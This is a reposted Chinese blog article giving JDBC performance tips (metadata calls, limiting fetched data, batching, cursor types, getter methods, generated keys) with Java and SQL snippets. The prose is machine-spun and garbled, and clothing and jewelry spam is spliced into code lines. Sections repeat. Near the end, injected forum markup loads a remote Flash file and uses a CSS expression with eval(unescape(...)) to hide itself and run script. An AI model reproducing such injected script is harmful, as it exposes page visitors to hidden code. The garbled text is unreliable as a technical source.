executeQuery

stmt.executeQuery  [原创 2009-06-17 11:27:08]    
我顶   字号:  
[url=file:///D:/mysite/myarticle/JDBC(part1).htm]Part I - 正确的使用数据库MetaData方法[/url][url=file:///D:/mysite/myarticle/JDBC(part2).htm]Part II - 获取需要的数据[/url][url=file:///D:/mysite/myarticle/JDBC(part3).htm]Part III - 选用最佳性能的功效[/url]先容John Goodson 是一名JDBC专家组成员,也是DataDirect Technologies公司的副总裁. 开发一个重视性能的JDBC应用程序不是一件轻易的事. 当你的代码运行很慢的时候JDBC驱动程序并不会抛出异常告知你.  
本系列的性能提醒将为改善JDBC应用程序的性能先容一些基础的指点原则,这其中的原则已经被很多现有的JDBC运用程序编译运行并验证过。 这些领导原则包含:  
准确的使用数据库MetaData方法 只获取须要的数据 选用最佳性能的功效 治理衔接和更新 以下这些一般性原则可以辅助你解决一些公共的JDBC体系的性能问题.  
使用数据库Metadata方法因为通过ResultSet对象天生的Metadata方法与其它的JDBCB方法相比是较慢的, 经常的使用它们将会减弱系统的的性能. 本节的领导原则将辅助你选择和使用meatdata时优化系统性能.  
少用Metadata方法 与其它的JDBC方法相比, 由ResultSet对象天生的metadata对象的相对来说是很慢的. 应用程序应该缓存从ResultSet返回的metadata信息,避免多次不必要的执行这个操作.  
几乎没有哪一个JDBC应用程序不用到metadata,虽然如此,你仍可以通过少用它们来改善系统性能. 要返回JDBC规范规定的结果集的所有列信息, 一个简略的metadata的方法调用可能会使JDBC驱动程序去执行很庞杂的查询甚至多次查询去取得这些数据. 这些细节上的SQL语言的操作是非常消费性能的.  
利用程序应该缓存这些metadata信息. 例如, 程序调用一次getTypeInfo方法后就将这些程序所依附的结果信息缓存. 而任何程序都不大可能用到这些结果信息中的所有内容,所以这些缓存信息应该是不难保护的.  
避免null参数在metadata的方法中使用null参数或search patterns是很耗时的. 另外, 额外的查询会导致潜在的网络交通的增添. 应尽可能的提供一些non-null的参数给metadata方法.  
因为metadata的方法很慢, 应用程序要尽可能有效的调用它们. 许多运用程序只传递少量的non-null参数给这些方法.  
例如:  
ResultSet WSrs = WSc.getTables (null, null, "WSTable", null);应当这样:  
ResultSet WSrs = WSc.getTables ("cat1", "johng", "WSTable",  "TABLE"),

mens boxer briefs

;在第一个getTables()的调用中, 程序可能想知道表'WSTable'是否存在. 当然, JDBC驱动程序会逐个调用它们并且会解译不同的请求. JDBC驱动程序会解译请求为: 返回所有的表, 视图, 系统表, synonyms, 临时表, 或存在于任何数据库种别任何Schema中的任何别号为'WSTable'的对象.  
第二个getTables()的调用会得到更准确的程序想知道的内容. JDBC驱动程序会解译这个请求为: 返回当前数据库种别中所有存在于'johng'这个schema中的所有表.  
很显然, JDBC驱动程序处理第二个请求比处理第一个请求更有效力一些.  
有时, 你所请求信息中的对象有些信息是已知的. 当调用metadata方法时, 程序能传送到驱动程序的的任何有用信息都可以导致性能和可靠性的改良.  
使用'哑元'(dummy)查询断定表的特征要避免使用getColumns()去肯定一个表的特征. 而应该使用一个‘哑元’查询来使用getMetadata()方法.  
请斟酌这样一个程序, 程序中要许可用户选取一些列. 我们是否应该使用getColumns()去返回列信息给用户还是以一个'哑元'查询来调用getMetadata()方法呢?  
案例 1: GetColumns 方法  
ResultSet WSrc = WSc.getColumns (... "UnknownTable" ...);  
// getColumns()会发出一个查询给数据库体系  
. . .  
WSrc.next();  
string Cname = getString(4);  
. . .  
// 用户必须从重复从服务器获取N行数据  
// N = UnknownTable的列数  
案例 2: GetMetadata 方法  
// 筹备'哑元'查询  
PreparedStatement WSps = WSc.prepareStatement  
  ("SELECT * from UnknownTable WHERE 1 = 0");  
// 查询从来没有被履行,只是被预储  
ResultSetMetaData WSsmd=WSps.getMetaData();  
int numcols = WSrsmd.getColumnCount();  
...  
int ctype = WSrsmd.getColumnType(n)  
...  
// 获得了列的完全信息 在这两个案例中, 真的就是那么的平凡.没事上上网, 一个查询被传送到服务器. 但在案例1中, 查询必需被预储和执行, 结果的描写信息必须断定(以传给getColumns()方式), 并且客户端必须接受一个包括列信息的成果集. 在案例2中, 只要筹备一个简略的查询并且只用肯定结果描写信息. 很显然, 案例2执行方式更好一些.  
这个讨论有点庞杂, 让我们斟酌一个没有本地化支持prepared statement的DBMS服务器. 案例1的性能没有转变, 但案例2中, 因为'哑元'查询必须被执行而不是被预储使得它的性能加强了一些. 因为查询中的WHERE子句总是为FALSE, 查询在不用存取表的数据情况的下会生成没有数据的结果集. 在这种情况下,第二种方式当然比第一种方式好一些.  
总而言之,总是使用ResultSet的metadata方法往获取列信息,像列名,列的数据类型,列的数据精度和长度等. 当请求的信息无法从ResultSet的metadata中获取时才去用getColumns()方法(像列的缺省值这些信息等).  
获取数据要有效的获取数据,就只需返回你需要的数据, 以及很多用效的方法. 本节的指点原则将赞助你使用JDB获取数据时优化系统性能.  
获取长数据如非必要, 应用程序不应请求长的数据, 因为长的数据通过网络传输会非常慢和耗费资源.  
大多数用户并不想看到大堆的数据. 如果用户不想处理这些长数据, 那么程序应能够再次查询数据库, 在SELECT子句中指定需要的列名. 这种方式容许一般用户获取结果集而不用耗费昂贵的网络流量.  
固然最好的方法是不要将长数据包含在SELECT子句的列名中,但还是有一些利用程序在发送查询给JDBC驱动程序时并没有在SELECT子句中明白指出列名 (确实一点, 有些程序发送这样的查询: select * from ...). 假如SELECT子句的列名中包括长数据, 很多JDBC驱动程序必需在查询时重新获取数据, 甚至在ResultSet中这些长数据并没有被程序用到. 在可能情形下,开发者应当试着往实现一种不需获取所有列数据的方式.  
例如,看以下的JDBC代码:  
ResultSet rs = stmt.executeQuery (  
   "select * from Employees where SSID = '999-99-2222'");  
rs.next();  
string name = rs.getString (4);要记住JDBC驱动程序没有知觉. 当查询被执行时它不知道哪些列是程序所要的. 驱动程序只知道应用程序能请求任意的列. 当JDBC驱动程序处理 rs.next() 请求时, 它可能会跨过网络从数据库服务器至少返回一行结果. 在这种情况下, 每个结果行会包含所有的列数据? 如果Employees表有一列包含员工相片的话它也会被包含在结果里面. 限制SELECT子句的列名列表并且只包含有用的列名,会减少网络流量及更快的查询性能.  
另外,固然getClob()和getBlob()方法可以容许应用程序去如何把持获取长数据, 但开发者必须认识到在许多情况下, JDBC驱动程序缺乏真正的LOB定位器的支撑. 像这种情况下,在裸露getClob和getBlob方法给开发者之先驱动程序必须经过网络获取所有的长数据.  
减少获取的数据量有时必需要获取长数据. 这时, 要注意的是大多数用户并不想在屏幕上看到100k甚至更多的文字.  
要减少网络交通和改善性能, 通过调用setMaxRows(), SetMaxFieldSize及SetFetchSize()方法, 你可以减少取获取的数据量. 另一种方式是减少数据的列数. 如果驱动程序容许你定义packet的大小, 使用最小的packet尺寸会合适你的需要.  
记住: 要警惕的返回只有你需要的行和列数据. 当你只需要2列数据而你却返回的5列数据时,性能会下降 ? 特殊是不需要的行中包含有长数据时.  
选择适合的数据类型接受和发送某些数据可能代价昂贵. 当你设计一个schema时, 应选择能被最有效地处理的数据类型. 例如, 整型数就比浮点数或实数处理起来要快一些. 浮点数的定义是依照数据库的内部规定的格局, 通常是一种紧缩格局. 数据必须被 解压和转换到另外种格局, 这样它才干被数据的协定处理.  
获取ResultSet由于数据库系统对可滚动光标的支持有限, 许多JDBC驱动程序并没有实现可滚动光标. 除非你确信数据库支持可滚动光标的结果集, 否则不要调用rs.last()和rs.getRow()方法去找出数据集的最大行数. 因为JDBC驱动程序模仿了可滚动光标, 调用rs.last()导致了驱动程序透过网络移到了数据集的最后一行. 取而代之, 你可以用ResultSet遍历一次计数或者用SELECT查询的COUNT函数来得到数据行数.  
通常情形下,请不要写那种依附于成果集行数的代码, 由于驱动程序必需获取所有的数据集以便知道查询会返回多少行数据.  
选用JDBC对象和办法本节的领导原则将辅助你在选用JDBC的对象和方法时哪些会有最好的性能.  
在存储进程中使用参数标志作为参数当调用存储过程时, 应总是应用参数标志(?)来取代字面上的参数. JDBC驱动能调用数据库的存储过程, 也能被其它的SQL查询执行, 或者直接通过远程过程调用(RPC)的方法履行. 当你将存储过程作为一个SQL查询执行时, 数据库要解析这个查询语句, 校验参数并将参数转换为准确的数据类型.  
要记住, SQL语句总是以字符串的情势送到数据库, 例如, “{call getCustName (12345)}”. 在这里, 即使程序中将参数作为整数赋给了getSustName, 而实现上参数还是以字符串的情势传给了服务器. 数据库会解析这个SQL查询, 并且依据metadata来决议存储过程的参数类型, 然后分解出参数"12345", 然后在终极将存储进程作为一个SQL查询执行之前将字串'12345’转换为整型数.  
按RPC方式调用时, 之前那种SQL字符串的方式要避免使用. 取而代之, JDBC驱动会结构一个网络packet, 其中包含了本地数据类型的参数,

Cartier love jewelry

,然后执行远程调用.  
案例 1  
在这个例子中, 存储过程不能最佳的使用RPC. 数据库必须将这作为一个普通的语言来进行解析,校验参数类型并将参数转换为正确的数据类型,最后才执行这个存储过程.  
CallableStatement cstmt = conn.prepareCall (  
   "{call getCustName (12345)}");  
ResultSet rs = cstmt.executeQuery ();  
案例 2  
在这个例子中, 存储过程能最佳的执行RPC. 因为程序避免了字面的的参数, 使用特别的参数来调用存储进程, JDBC驱动能最好以RPC方式直接来执行存储过程. SQL语言上的处理在这里被避免并且执行也得到很大的改善.  
CallableStatement cstmt - conn.prepareCall (  
   "{call getCustName (?)}");  
cstmt.setLong (1,12345);  
ResultSet rs = cstmt.executeQuery();  
使用Statement而不是PreparedStatement对象JDBC驱动的最佳化是基于使用的是什么功效. 选择PreparedStatement还是Statement取决于你要怎么使用它们. 对于只执行一次的SQL语句选择Statement是最好的. 相反, 如果SQL语句被多次执行选用PreparedStatement是最好的.  
PreparedStatement的第一次执行耗费是很高的. 它的性能体现在后面的反复执行. 例如, 假设我使用Employee ID, 使用prepared的方式来履行一个针对Employee表的查询. JDBC驱动会发送一个网络请求到数据解析和优化这个查询. 而执行时会发生另一个网络恳求. 在JDBC驱动中,减少网络通信是终极的目标. 假如我的程序在运行期间只须要一次要求, 那么就使用Statement. 对于Statement, 同一个查询只会发生一次网络到数据库的通信.  
对于使用PreparedStatement池的情况下, 本指点原则有点庞杂. 当使用PreparedStatement池时, 如果一个查询很特别, 并且不太会再次执行到, 那么可以使用Statement. 如果一个查询很少会被执行,但衔接池中的Statement池可能被再次执行, 那么请使用PreparedStatement. 在不是Statement池的同样情况下, 请使用Statement.  
使用PreparedStatement的Batch功能Update大批的数据时, 先Prepare一个INSERT语句再多次的执行, 会导致很多次的网络衔接. 要减少JDBC的调用次数改善性能, 你可以使用PreparedStatement的AddBatch()方法一次性发送多个查询给数据库. 例如, 让我们来比拟一下下面的例子.  
例 1: 多次执行Prepared Statement  
PreparedStatement ps = conn.prepareStatement(  
   "INSERT into employees values (?, ?, ?)");  

for (n = 0; n < 100; n++) {  

  ps.setString(name[n]);  
  ps.setLong(id[n]);  
  ps.setInt(salary[n]);  
 , 当一个人的生命中习惯了另一个人存在的时候; ps.executeUpdate();  
}  
例 2: 应用Batch  
PreparedStatement ps = conn.prepareStatement(  
   "INSERT into employees values (?, ?, ?)");  

for (n = 0; n < 100; n++) {  

  ps.setString(name[n]);  
  ps.setLong(id[n]);  
  ps.setInt(salary[n]), 才有劲减肥啊;  
  ps.addBatch();  
}  
ps.executeBatch();  
在例 1中, PreparedStatement被用来多次执行INSERT语句. 在这里, 执行了100次INSERT操作, 共有101次网络往返. 其中,1次往返是预储statement, 另外100次往返执行每个迭代. 在例2中, 当在100次INSERT操作中使用addBatch()方法时, 只有两次网络往返. 1次往返是预储statement, 另一次是执行batch命令. 固然Batch命令会用到更多的数据库的CPU周期, 但是通过减少网络往返,性能得到进步. 记住, JDBC的性能最大的促进是减少JDBC驱动与数据库之间的网络通信.  
选择适合的光标类型选择实用的光标类型以最大限度的实用你的运用程序. 本节重要讨论三种光标类型的性能问题.  
对于从一个表中次序读取所有记载的情形来说, Forward-Only型的光标供给了最好的性能. 获取表中的数据时, 没有哪种办法比使用Forward-Only型的光标更快. 但不管怎样, 当程序中必须按无顺序的方式处置数据行时, 这种光标就无法使用了.  
对于程序中请求与数据库的数据同步以及要能够在成果集中前后移动光标, 使用JDBC的Scroll-Insensitive型光标是较幻想的选择. 此类型的光标在第一次恳求时就获取了所有的数据(当JDBC驱动采取'lazy'方法获取数据时或许是很多的而不是全体的数据)并且储存在客户端. 因此, 第一次请求会非常慢, 特殊是要求长数据时会理严重. 而接下来的恳求并不会造成任何网络往返(当应用'lazy'方式时或许只是有限的网络交通) 并且处置起来很快. 因为第一次要求速度很慢, Scroll-Insensitive型光标不应当被使用在单行数据的获取上. 当有要返回长数据时, 开发者也应避免使用Scroll-Insensitive型光标, 由于这样可能会造成内存耗尽. 有些Scroll-Insensitive型光标的实现方式是在数据库的临时表中缓存数据来避免性能问题, 但多数还是将数据缓存在利用程序中.  
Scroll-Sensitive型光标, 有时也称为Keyset-Driven光标, 使用标识符, 像数据库的ROWID之类. 当每次在结果集移动光标时, 会重新该标识符的数据. 因为每次请求都会有网络往返, 性能可能会很慢. 无论怎样, 用无序方式的返回结果行对性能的改善是没有赞助的.  
现在来说明一下这个, 来看这种情况. 一个程序要正常的返回1000行数据到程序中. 在执行时或者第一行被请求时, JDBC驱动不会执行程序提供的SELECT语句. 相反, 它会用键标识符来调换SELECT查询, 例如, ROWID. 然后修正过的查询都会被驱动程序执行,随着会从数据库获取所有1000个键值. 每一次对一行结果的请求都会使JDBC驱动直接从本地缓存中找到相应的键值, 然后结构一个包含了'WHERE ROWID=?'子句的最佳化查询, 再接着执行这个修正过的查询, 最后从服务器取得该数据行.  
当程序无法像Scroll-Insensitive型光标一样供给足够缓存时, Scroll-Sensitive型光标可以被替换用来作为动态的可转动的光标.  
使用有效的getter方法 JDBC提供多种方法从ResultSet中取得数据, 像getInt(), getString(), 和getObject()等等. 而getObject()方法是最泛化了的, 提供了最差的性能。 这是因为JDBC驱动必须对要取得的值的类型作额外的处理以映射为特定的对象. 所以就对特定的数据类型使用相应的方法.  
要更进一步的改良性能, 应在取得数据时供给字段的索引号,

women's t shirts

, 例如, getString(1), getLong(2), 和getInt(3)等来替换字段名. 假如没有指定字段索引号, 网络交通不会受影响, 但会使转换和查找的本钱增添. 例如, 假设你使用getString("foo") ... JDBC驱动可能会将字段名转为大写(如果须要), 并且在到字段名列表中逐个比拟来找到"foo"字段. 如果可以, 直接使用字段索引, 将为你节俭大批的处置时光.  
例如, 假设你有一个100行15列的ResultSet, 字段名不包括在其中. 你感兴致的是三个字段 EMPLOYEENAME (字串型), EMPLOYEENUMBER (长整型), 和SALARY (整型). 如果你指定getString(“EmployeeName”), getLong(“EmployeeNumber”), 和getInt(“Salary”), 查询旱每个字段名必须被转换为metadata中相对应的大小写, 然后才进行查找. 如果你使用getString(1), getLong(2), 和getInt(15). 性能就会有明显改良.  
获取主动生成的键值 有许多数据库提供了暗藏列为表中的每行记载分配一个唯一键值. 很典范, 在查询中使用这些字段类型是取得记载值的最快的方式, 因为这些隐含列通常反映了数据在磁盘上的物理地位. 在JDBC3.0之前, 应用程序只可在插入数据后通过立即执行一个SELECT语句来取得隐含列的值.  
例如:  
//插进行  
int rowcount = stmt.executeUpdate (  
   "insert into LocalGeniusList (name) values ('Karen')");  
// 现在为新插进的行取得磁盘地位 - rowid  
ResultSet rs = stmt.executeQuery (  
   "select rowid from LocalGeniusList where name = 'Karen'");  
这种取得隐含列的方式有两个重要毛病. 第一, 取得隐含列是在一个独立的查询中, 它要透过网络送到服务器后再执行. 第二, 因为不是主键, 查询条件可能不是表中的唯一性ID. 在后面一个例子中, 可能返回了多个隐含列的值, 程序无法知道哪个是最后插进的行的值.  
(译者:由于不同的数据库支持的水平不同,返回rowid的方式各有差别。在SQL Server中,返回最后插入的记载的id可以用这样的查询语句:SELECT @IDENTITY )  
JDBC3.0规范中的一个可选特征提供了一种才能, 可以取得刚刚插入到表中的记载的主动生成的键值.  
例如:  
int rowcount = stmt.executeUpdate (  
   "insert into LocalGeniusList (name) values ('Karen')",  
// 插入行并返回键值  
Statement.RETURN_GENERATED_KEYS);  
ResultSet rs = stmt.getGeneratedKeys ();  
// 得到天生的键值  
现在, 程序中包含了一个唯一性ID, 可以用来作为查询条件来快速的存取数据行, 甚至于表中没有主键的情况也可以.  
这种取得主动生成的键值的方式给JDBC的开发者提供了机动性, 并且使存取数据的性能得到晋升.  
选择适合的数据类型接受和发送某些数据可能代价昂贵. 当你设计一个schema时, 应选择能被最有效地处理的数据类型. 例如, 整型数就比浮点数或实数处理起来要快一些. 浮点数的定义是依照数据库的内部规定的格式, 通常是一种紧缩格式. 数据必须被 解压和转换到另外种格式, 这样它才干被数据的协定处理.  
获取ResultSet由于数据库体系对可滚动光标的支撑有限, 很多JDBC驱动程序并没有实现可转动光标. 除非你确信数据库支撑可滚动光标的结果集, 否则不要调用rs.last()和rs.getRow()办法往找出数据集的最大行数. 由于JDBC驱动程序模仿了可转动光标, 调用rs.last()导致了驱动程序透过网络移到了数据集的最后一行. 取而代之, 你可以用ResultSet遍历一次计数或者用SELECT查询的COUNT函数来得到数据行数.[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29

转载于:https://www.cnblogs.com/yansj/archive/2011/11/19/2255503.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值